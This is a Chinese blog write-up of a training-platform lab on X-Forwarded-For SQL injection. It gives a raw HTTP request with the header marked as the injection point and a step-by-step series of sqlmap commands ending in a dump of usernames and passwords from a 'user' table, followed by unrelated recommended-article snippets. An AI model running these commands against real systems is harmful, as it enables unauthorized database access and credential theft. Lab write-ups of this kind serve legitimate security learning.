X-Forwarded-For注入漏洞过程记录
一、题目地址 https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe 二、使用工具
FireFox浏览器、SQLMAP 三、确认漏洞 题目说是X-Forwarded-For注入漏洞,先确认一下是不是 1. 随便输入账号密码后点击登录

2. 返回结果

弹窗有乱码,没关系,按F12打开调试窗口,在调试窗口中查看请求和响应
3. 弹窗信息

弹窗信息中告诉我,我的IP地址 27.17.120.22 被记录了,可能是记录到数据库中了,也就是将该IP写到了数据库中;竟然跟数据库有交互,那么可以猜
想,此处可能存在SQL注入漏洞;接下来继续确认
4. 服务端获取客户端IP地址的方式
服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值,确认服务端是不是使用这种方式获取客户端IP地址;编辑刚才的
请求,在请求头中加入X-Forwarded-For:111.23.21.23(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送



可以看到,之前随意填的X-Forwarded-For字段中的IP地址 111.23.21.23 已经被记录了,这就确认了服务端是通过读取X-Forwarded-For的字段值
来获取客户端的IP地址的;下面直接用SQLMAP确认X-Forwarded-For存在SQL注入漏洞
四、SQLMAP跑注入漏洞
1. 将第二次登录请求的信息摘下来,新建成txt文件,这里我命名为x-forwarded-for.txt,并将x-forwarded-for的值改为*;文件内容如下所示:
POST /index.php HTTP/1.1
Host: 219.153.49.228:48584
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Connection: keep-alive
Referer: http://219.153.49.228:48584/index.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For:* username=fff&password=ddd
2. 确认漏洞(命令:sqlmap.py -r x-forwarded-for.txt --batch(需要在x-forwarded-for.txt文件所在的目录中跑))

3. 查询数据库(sqlmap.py -r x-forwarded-for.txt --batch --dbs)

4、查询当前数据库库(sqlmap.py -r x-forwarded-for.txt --batch --current-db)

5. 查询获取数据库中表(sqlmap.py -r x-forwarded-for.txt --batch --tables -D "webcalendar")

6. 查询表的字段(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --columns -T "user" -D "webcalendar")

7. 查询表的内容(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --dump -C "id,username,password" --columns
-T "user" -D "webcalendar")

X-Forwarded-For注入漏洞过程记录的更多相关文章
- 爆库记录(X-Forwarded-For注入漏洞实战 记录)
环境位置: https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe 参考: http://www.fr ...
- MSF利用ms17-010漏洞过程记录
1.使用网上以上一个监测工具,扫描出存在ms17-010的主机地址 2.在kali中使用MSF进行检测,存在mf17-010漏洞 msf > use auxiliary/scanner/smb/ ...
- jdbc mysql crud dao模型 sql注入漏洞 jdbc 操作大文件
day17总结 今日内容 l JDBC 1.1 上次课内容总结 SQL语句: 1.外键约束:foreign key * 维护多个表关系! * 用来保证数据完整性! 2.三种关系: * 一对多: * 一 ...
- [SQL SERVER系列]读书笔记之SQL注入漏洞和SQL调优
最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这个表达式永远返回 true, ...
- 读书笔记之SQL注入漏洞和SQL调优
原文:读书笔记之SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“' ...
- SQL注入漏洞和SQL调优SQL注入漏洞和SQL调优
SQL注入漏洞和SQL调优 最近读了程序员的SQL金典这本书,觉得里面的SQL注入漏洞和SQL调优总结得不错,下面简单讨论下SQL注入漏洞和SQL调优. 1. SQL注入漏洞 由于“'1'='1'”这 ...
- [转]SQL注入漏洞及绑定变量浅谈
1.一个问题引发的思考 大家在群里讨论了一个问题,奉文帅之命写篇作文,且看: String user_web = "user_web" String sql = "upd ...
- SQL注入漏洞技术的详解
SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...
- SQL注入漏洞详解
目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...
随机推荐
- ros下怎么查看usb设备在哪个端口
检查usb设备是否有权限以及在哪个端口,或者lsusb ls -l /dev |grep ttyUSB 查到设备端口,在启动文件下配置相应的端口号 <param name="seria ...
- vue-routerV3.1版本报错:message: "Navigating to current location ("/home") is not allowed",
出现这个错误的原因是,在路由跳转的时候两次push的path地址相同 解决方法两种: 1.切换版本回3.0版本 2.在你引了vue-router的js文件里加上如下代码即可 import VueRou ...
- ubuntu更改mysql配置文件,使其产生日志文件mysql.log
1.打开mysql配置文件,将68,69行的注释取消掉,保存关闭 sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf 2.重启mysql服务 sudo servic ...
- BZOJ 3280: 小R的烦恼
Description 小R最近遇上了大麻烦,他的程序设计挂科了.于是他只好找程设老师求情.善良的程设老师答应不挂他,但是要 求小R帮助他一起解决一个难题.问题是这样的,程设老师最近要进行一项邪恶的实 ...
- 大型数据库技术实验六 实验6:Mapreduce实例——WordCount
现有某电商网站用户对商品的收藏数据,记录了用户收藏的商品id以及收藏日期,名为buyer_favorite1. buyer_favorite1包含:买家id,商品id,收藏日期这三个字段,数据以“\t ...
- SQLserver还原提示正在还原中。解决方法
今天在Sqlerver还原数据库时一直就卡在那里提示“正在还原…”的状态,此时无法操作数据库,下面我来给大家介绍解决些问题的方法 解决方法: RESTORE DATABASE demo FROM DI ...
- 多项式对数函数 - NTT
#include <bits/stdc++.h> using namespace std; #define int long long const int N=4000005; // 4 ...
- VS Code中Ionic serve命令 执行跳出的问题
项目情况:用vscode编写的ionic(tab类型)项目(具体使用到的技术Angular\Typescrip\Ionic) 具体情况如下: 找到的可能原因: 出错的项目情况:在一个ts文件中编写两个 ...
- 安卓开发中遇到java.net.SocketException: Permission denied
仅需在AndroidManifest.xml添加 <uses-permission android:name="android.permission.INTERNET" /& ...
- C语言链表头插法逆向输出
输入:1 2 3 4 5 -1 输出:5 4 3 2 1 此题考查头链表的创建之一 :头插法.所谓头插法是从一个空链表开始,重复读入数据,生成新结点,将读入的数据存放新结点的数据域中,然后讲新结点插入 ...